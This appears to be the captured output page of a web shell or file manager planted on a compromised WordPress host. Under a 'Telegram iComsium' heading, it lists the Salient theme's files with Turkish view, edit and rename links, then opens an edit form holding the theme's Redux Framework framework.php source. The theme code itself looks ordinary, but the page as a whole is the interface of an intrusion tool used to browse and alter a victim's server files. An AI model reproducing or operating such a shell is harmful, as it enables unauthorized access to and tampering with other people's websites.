<b>Telegram iComsium Current root:</b> /home/tradfvfl/public_html/wp-content/themes/salient <br><b>Current path:</b> /home/tradfvfl/public_html/wp-content/themes/salient <hr><a href="?file=/home/tradfvfl/public_html/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/404.php">404.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/404.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/404.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/build">build</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/comments.php">comments.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/comments.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/css">css</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/footer.php">footer.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/footer.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/functions.php">functions.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/functions.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/header.php">header.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/header.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/img">img</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/includes">includes</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/index.php">index.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/index.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/nectar">nectar</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/package.json">package.json</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/package.json" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/package.json">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/package.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/page-left-sidebar.php">page-left-sidebar.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/page-left-sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/page-left-sidebar.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/page-left-sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/page-sidebar.php">page-sidebar.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/page-sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/page-sidebar.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/page-sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/page.php">page.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/page.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/page.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/plugins">plugins</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/readme.txt">readme.txt</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/readme.txt" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/readme.txt">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/readme.txt">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/rtl.css">rtl.css</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/rtl.css">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/screenshot.png">screenshot.png</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/screenshot.png" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/screenshot.png">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/screenshot.png">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/search.php">search.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/search.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/search.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/search.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/searchform.php">searchform.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/searchform.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/searchform.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/searchform.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/sidebar.php">sidebar.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/sidebar.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/single-salient_g_sections.php">single-salient_g_sections.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/single-salient_g_sections.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/single-salient_g_sections.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/single-salient_g_sections.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/single.php">single.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/single.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/single.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/src">src</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/style.css">style.css</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/style.css">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/template-contact.php">template-contact.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/template-contact.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/template-contact.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/template-contact.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-1.php">template-home-1.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-1.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-1.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-1.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-2.php">template-home-2.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-2.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-2.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-2.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-3.php">template-home-3.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-3.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-3.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-3.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-4.php">template-home-4.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-4.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-4.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/template-home-4.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-footer.php">template-no-footer.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-footer.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-header-footer.php">template-no-header-footer.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-header-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-header-footer.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-header-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-header.php">template-no-header.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-header.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/template-no-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/template-portfolio.php">template-portfolio.php</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/template-portfolio.php" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/template-portfolio.php">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/template-portfolio.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/theme.json">theme.json</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/theme.json">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/theme.json">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/woocommerce">woocommerce</a><br><a style="color:#000;" href="?file=/home/tradfvfl/public_html/wp-content/themes/salient/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home/tradfvfl/public_html/wp-content/themes/salient/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home/tradfvfl/public_html/wp-content/themes/salient/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home/tradfvfl/public_html/wp-content/themes/salient/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: framework.php</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">&lt;?php
    /**
     * Redux Framework is free software: you can redistribute it and/or modify
     * it under the terms of the GNU General Public License as published by
     * the Free Software Foundation, either version 3 of the License, or
     * any later version.
     * Redux Framework is distributed in the hope that it will be useful,
     * but WITHOUT ANY WARRANTY; without even the implied warranty of
     * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
     * GNU General Public License for more details.
     * You should have received a copy of the GNU General Public License
     * along with Redux Framework. If not, see &lt;http://www.gnu.org/licenses/&gt;.
     *
     * @package     Redux_Framework
     * @subpackage  Core
     * @author      Redux Framework Team
     */
    // Exit if accessed directly
    if ( ! defined( &#039;ABSPATH&#039; ) ) {
        exit;
    }

    if ( ! class_exists( &#039;ReduxFrameworkInstances&#039; ) ) {
        // Instance Container
          /* nectar addition */
        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/class.redux_instances.php&#039;);
        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/lib.redux_instances.php&#039;);
    }

    if ( class_exists( &#039;ReduxFrameworkInstances&#039; ) ) {
        add_action( &#039;redux/init&#039;, &#039;ReduxFrameworkInstances::get_instance&#039; );
    }

    // Don&#039;t duplicate me!
    if ( ! class_exists( &#039;ReduxFramework&#039; ) ) {

        // Redux CDN class
        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/class.redux_cdn.php&#039;);

        // Redux API class  :)
        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/class.redux_api.php&#039;);

        // General helper functions
        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/class.redux_helpers.php&#039;);

        // General functions
        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/class.redux_functions.php&#039;);
        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/class.p.php&#039;);

        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/class.thirdparty.fixes.php&#039;);

        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/class.redux_filesystem.php&#039;);

        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/class.redux_admin_notices.php&#039;);

        // ThemeCheck checks
        require_once get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore/inc/themecheck/class.redux_themecheck.php&#039;);

        // Welcome
        /* nectar addition end */

        /**
         * Main ReduxFramework class
         *
         * @since       1.0.0
         */
        class ReduxFramework {

            // ATTENTION DEVS
            // Please update the build number with each push, no matter how small.
            // This will make for easier support when we ask users what version they are using.

            public static $_version = &#039;3.6.5&#039;;
            public static $_dir;
            public static $_url;
            public static $_upload_dir;
            public static $_upload_url;
            public static $wp_content_url;
            public static $base_wp_content_url;
            public static $_is_plugin = true;
            public static $_as_plugin = false;

            public static function init() {
                /* nectar addition */
                $dir = Redux_Helpers::cleanFilePath( get_parent_theme_file_path(&#039;/nectar/redux-framework/ReduxCore&#039;) );
                /* nectar addition end */

                // Windows-proof constants: replace backward by forward slashes. Thanks to: @peterbouwmeester
                self::$_dir           = trailingslashit( $dir );
                self::$wp_content_url = trailingslashit( Redux_Helpers::cleanFilePath( ( is_ssl() ? str_replace( &#039;http://&#039;, &#039;https://&#039;, WP_CONTENT_URL ) : WP_CONTENT_URL ) ) );

                // See if Redux is a plugin or not
                if ( strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( get_stylesheet_directory() ) ) !== false || strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( get_template_directory_uri() ) ) !== false || strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( WP_CONTENT_DIR . &#039;/themes/&#039; ) ) !== false ) {
                    self::$_is_plugin = false;
                } else {
                    // Check if plugin is a symbolic link, see if it&#039;s a plugin. If embedded, we can&#039;t do a thing.
                    if ( strpos( self::$_dir, ABSPATH ) === false ) {
                        if ( ! function_exists( &#039;get_plugins&#039; ) ) {
                            require_once ABSPATH . &#039;wp-admin/includes/plugin.php&#039;;
                        }

                        $is_plugin = false;
                        foreach ( get_plugins() as $key =&gt; $value ) {
                          /*nectar addition */
                            if ( strpos( $key, &#039;redux-framework.php&#039; ) !== false ) {
                          /*nectar addition end */
                                self::$_dir = trailingslashit( Redux_Helpers::cleanFilePath( WP_CONTENT_DIR . &#039;/plugins/&#039; . plugin_dir_path( $key ) . &#039;ReduxCore/&#039; ) );
                                $is_plugin  = true;
                            }
                        }
                        if ( ! $is_plugin ) {
                            self::$_is_plugin = false;
                        }
                    }
                }

                if ( self::$_is_plugin == true || self::$_as_plugin == true ) {
                    self::$_url = plugin_dir_url( __FILE__ );
                } else {
                    if ( strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( get_template_directory() ) ) !== false ) {
                        $relative_url = str_replace( Redux_Helpers::cleanFilePath( get_template_directory() ), &#039;&#039;, self::$_dir );
                        self::$_url   = trailingslashit( get_template_directory_uri() . $relative_url );
                    } else if ( strpos( Redux_Helpers::cleanFilePath( __FILE__ ), Redux_Helpers::cleanFilePath( get_stylesheet_directory() ) ) !== false ) {
                        $relative_url = str_replace( Redux_Helpers::cleanFilePath( get_stylesheet_directory() ), &#039;&#039;, self::$_dir );
                        self::$_url   = trailingslashit( get_stylesheet_directory_uri() . $relative_url );
                    } else {
                        $wp_content_dir = trailingslashit( Redux_Helpers::cleanFilePath( WP_CONTENT_DIR ) );
                        $wp_content_dir = trailingslashit( str_replace( &#039;//&#039;, &#039;/&#039;, $wp_content_dir ) );
                        $relative_url   = str_replace( $wp_content_dir, &#039;&#039;, self::$_dir );
                        self::$_url     = trailingslashit( self::$wp_content_url . $relative_url );
                    }
                }

                self::$_url       = apply_filters( &quot;redux/_url&quot;, self::$_url );
                self::$_dir       = apply_filters( &quot;redux/_dir&quot;, self::$_dir );
                self::$_is_plugin = apply_filters( &quot;redux/_is_plugin&quot;, self::$_is_plugin );
            }

            // ::init()

            public $framework_url = &#039;http://www.reduxframework.com/&#039;;
            public static $instance = null;
            public $admin_notices = array();
            public $page = &#039;&#039;;
            public $saved = false;
            public $fields = array(); // Fields by type used in the panel
            public $field_sections = array(); // Section id&#039;s by field type, then field ID
            public $current_tab = &#039;&#039;; // Current section to display, cookies
            public $extensions = array(); // Extensions by type used in the panel
            public $sections = array(); // Sections and fields
            public $errors = array(); // Errors
            public $warnings = array(); // Warnings
            public $options = array(); // Option values
            public $options_defaults = null; // Option defaults
            public $notices = array(); // Option defaults
            public $compiler_fields = array(); // Fields that trigger the compiler hook
            public $required = array(); // Information that needs to be localized
            public $required_child = array(); // Information that needs to be localized
            public $localize_data = array(); // Information that needs to be localized
            public $fonts = array(); // Information that needs to be localized
            public $folds = array(); // The itms that need to fold.
            public $path = &#039;&#039;;
            public $changed_values = array(); // Values that have been changed on save. Orig values.
            public $output = array(); // Fields with CSS output selectors
            public $outputCSS = null; // CSS that get auto-appended to the header
            public $compilerCSS = null; // CSS that get sent to the compiler hook
            public $customizerCSS = null; // CSS that goes to the customizer
            public $fieldsValues = array(); //all fields values in an id=&gt;value array so we can check dependencies
            public $fieldsHidden = array(); //all fields that didn&#039;t pass the dependency test and are hidden
            public $toHide = array(); // Values to hide on page load
            public $typography = null; //values to generate google font CSS
            public $import_export = null;
            public $no_panel = array(); // Fields that are not visible in the panel
            private $show_hints = false;
            public $hidden_perm_fields = array(); //  Hidden fields specified by &#039;permissions&#039; arg.
            public $hidden_perm_sections = array(); //  Hidden sections specified by &#039;permissions&#039; arg.
            public $typography_preview = array();
            public $args = array();
            public $filesystem = null;
            public $font_groups = array();
            public $lang = &quot;&quot;;
            public $dev_mode_forced = false;
            public $reload_fields = array();
            public $omit_share_icons = false;
            public $omit_admin_items = false;
            public $old_opt_name = &#039;&#039;;
            public $transients_check = &#039;&#039;;
            public $transients = array();
            public $apiHasRun = null;
            public $field_types = array();
            public $field_head = array();
            public $googleArray = array();

            public $validation_ran; // nectar addition - missing in &lt; v4 redux
            
            /**
             * Class Constructor. Defines the args for the theme options class
             *
             * @since       1.0.0
             *
             * @param       array $sections   Panel sections.
             * @param       array $args       Class constructor arguments.
             * @param       array $extra_tabs Extra panel tabs. // REMOVE
             *
             * @return \ReduxFramework
             */
            public function __construct( $sections = array(), $args = array(), $extra_tabs = array() ) {
                // Disregard WP AJAX &#039;heartbeat&#039;call.  Why waste resources?
                if ( isset ( $_POST ) &amp;&amp; isset ( $_POST[&#039;action&#039;] ) &amp;&amp; $_POST[&#039;action&#039;] == &#039;heartbeat&#039; ) {

                    // Hook, for purists.
                    if ( ! has_action( &#039;redux/ajax/heartbeat&#039; ) ) {
                        do_action( &#039;redux/ajax/heartbeat&#039;, $this );
                    }

                    // Buh bye!
                    return;
                }

                // Pass parent pointer to function helper.
                Redux_Functions::$_parent     = $this;
                Redux_CDN::$_parent           = $this;
                Redux_Admin_Notices::$_parent = $this;

                // Set values
                $this-&gt;set_default_args();
                $this-&gt;args = wp_parse_args( $args, $this-&gt;args );

                if ( empty ( $this-&gt;args[&#039;transient_time&#039;] ) ) {
                    $this-&gt;args[&#039;transient_time&#039;] = 60 * MINUTE_IN_SECONDS;
                }

                if ( empty ( $this-&gt;args[&#039;footer_credit&#039;] ) ) {
                    $this-&gt;args[&#039;footer_credit&#039;] = &#039;&lt;span id=&quot;footer-thankyou&quot;&gt;&#039; . sprintf( __( &#039;Options panel created using %1$s&#039;, &#039;redux-framework&#039; ), &#039;&lt;a href=&quot;&#039; . esc_url( $this-&gt;framework_url ) . &#039;&quot; target=&quot;_blank&quot;&gt;&#039; . __( &#039;Redux Framework&#039;, &#039;redux-framework&#039; ) . &#039;&lt;/a&gt; v&#039; . self::$_version ) . &#039;&lt;/span&gt;&#039;;
                }

                if ( empty ( $this-&gt;args[&#039;menu_title&#039;] ) ) {
                    $this-&gt;args[&#039;menu_title&#039;] = __( &#039;Options&#039;, &#039;redux-framework&#039; );
                }

                if ( empty ( $this-&gt;args[&#039;page_title&#039;] ) ) {
                    $this-&gt;args[&#039;page_title&#039;] = __( &#039;Options&#039;, &#039;redux-framework&#039; );
                }

                $this-&gt;old_opt_name = $this-&gt;args[&#039;opt_name&#039;];

                /**
                 * filter &#039;redux/args/{opt_name}&#039;
                 *
                 * @param  array $args ReduxFramework configuration
                 */
                $this-&gt;args = apply_filters( &quot;redux/args/{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $this-&gt;args );

                /**
                 * filter &#039;redux/options/{opt_name}/args&#039;
                 *
                 * @param  array $args ReduxFramework configuration
                 */
                $this-&gt;args = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/args&quot;, $this-&gt;args );

                if ( $this-&gt;args[&#039;opt_name&#039;] == $this-&gt;old_opt_name ) {
                    unset( $this-&gt;old_opt_name );
                }

                // Do not save the defaults if we&#039;re on a live preview!
                if ( $GLOBALS[&#039;pagenow&#039;] == &quot;customize&quot; &amp;&amp; isset( $_GET[&#039;theme&#039;] ) &amp;&amp; ! empty( $_GET[&#039;theme&#039;] ) ) {
                    $this-&gt;args[&#039;save_defaults&#039;] = false;
                }

                $this-&gt;change_demo_defaults();

                if ( ! empty ( $this-&gt;args[&#039;opt_name&#039;] ) ) {
                    /**
                     * SHIM SECTION
                     * Old variables and ways of doing things that need correcting.  ;)
                     * */
                    // Variable name change
                    if ( ! empty ( $this-&gt;args[&#039;page_cap&#039;] ) ) {
                        $this-&gt;args[&#039;page_permissions&#039;] = $this-&gt;args[&#039;page_cap&#039;];
                        unset ( $this-&gt;args[&#039;page_cap&#039;] );
                    }

                    if ( ! empty ( $this-&gt;args[&#039;page_position&#039;] ) ) {
                        $this-&gt;args[&#039;page_priority&#039;] = $this-&gt;args[&#039;page_position&#039;];
                        unset ( $this-&gt;args[&#039;page_position&#039;] );
                    }

                    if ( ! empty ( $this-&gt;args[&#039;page_type&#039;] ) ) {
                        $this-&gt;args[&#039;menu_type&#039;] = $this-&gt;args[&#039;page_type&#039;];
                        unset ( $this-&gt;args[&#039;page_type&#039;] );
                    }

                    // Get rid of extra_tabs! Not needed.
                    if ( is_array( $extra_tabs ) &amp;&amp; ! empty ( $extra_tabs ) ) {
                        foreach ( $extra_tabs as $tab ) {
                            array_push( $this-&gt;sections, $tab );
                        }
                    }

                    // Move to the first loop area!
                    /**
                     * filter &#039;redux-sections&#039;
                     *
                     * @deprecated
                     *
                     * @param  array $sections field option sections
                     */
                    $this-&gt;sections = apply_filters( &#039;redux-sections&#039;, $sections ); // REMOVE LATER
                    /**
                     * filter &#039;redux-sections-{opt_name}&#039;
                     *
                     * @deprecated
                     *
                     * @param  array $sections field option sections
                     */
                    $this-&gt;sections = apply_filters( &quot;redux-sections-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $this-&gt;sections ); // REMOVE LATER
                    /**
                     * filter &#039;redux/options/{opt_name}/sections&#039;
                     *
                     * @param  array $sections field option sections
                     */
                    $this-&gt;sections = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/sections&quot;, $this-&gt;sections );

                    /**
                     * Construct hook
                     * action &#039;redux/construct&#039;
                     *
                     * @param object $this ReduxFramework
                     */
                    do_action( &#039;redux/construct&#039;, $this );

                    // Set the default values
                    $this-&gt;_default_cleanup();

                    // Internataionalization
                    $this-&gt;_internationalization();

                    $this-&gt;filesystem = Redux_Filesystem::get_instance( $this );

                    //set redux upload folder
                    $this-&gt;set_redux_content();

                    // Register extra extensions
                    $this-&gt;_register_extensions();

                    // Grab database values
                    $this-&gt;get_options();

                    // Tracking
                    if ( isset( $this-&gt;args[&#039;allow_tracking&#039;] ) &amp;&amp; $this-&gt;args[&#039;allow_tracking&#039;] &amp;&amp; Redux_Helpers::isTheme( __FILE__ ) ) {
                        $this-&gt;_tracking();
                    }

                    // Options page
                    add_action( &#039;admin_menu&#039;, array( $this, &#039;_options_page&#039; ) );

                    // Add a network menu
                    if ( $this-&gt;args[&#039;database&#039;] == &quot;network&quot; &amp;&amp; $this-&gt;args[&#039;network_admin&#039;] ) {
                        add_action( &#039;network_admin_menu&#039;, array( $this, &#039;_options_page&#039; ) );
                    }

                    // Admin Bar menu
                    /* nectar addition
                      remove
                     nectar addition end */

                    // Register setting
                    add_action( &#039;admin_init&#039;, array( $this, &#039;_register_settings&#039; ) );

                    // Display admin notices in dev_mode
                    if ( true == $this-&gt;args[&#039;dev_mode&#039;] ) {
                        if ( true == $this-&gt;args[&#039;update_notice&#039;] ) {
                            //add_action( &#039;admin_init&#039;, array( $this, &#039;_update_check&#039; ) );
                        }
                    }

                    // Display admin notices
                    add_action( &#039;admin_notices&#039;, array( $this, &#039;_admin_notices&#039; ), 99 );

                    // Check for dismissed admin notices.
                    add_action( &#039;admin_init&#039;, array( $this, &#039;_dismiss_admin_notice&#039; ), 9 );

                    // Enqueue the admin page CSS and JS
                    if ( isset ( $_GET[&#039;page&#039;] ) &amp;&amp; $_GET[&#039;page&#039;] == $this-&gt;args[&#039;page_slug&#039;] ) {
                        add_action( &#039;admin_enqueue_scripts&#039;, array( $this, &#039;_enqueue&#039; ), 1 );
                    }

                    // Output dynamic CSS
                    // Frontend: Maybe enqueue dynamic CSS and Google fonts
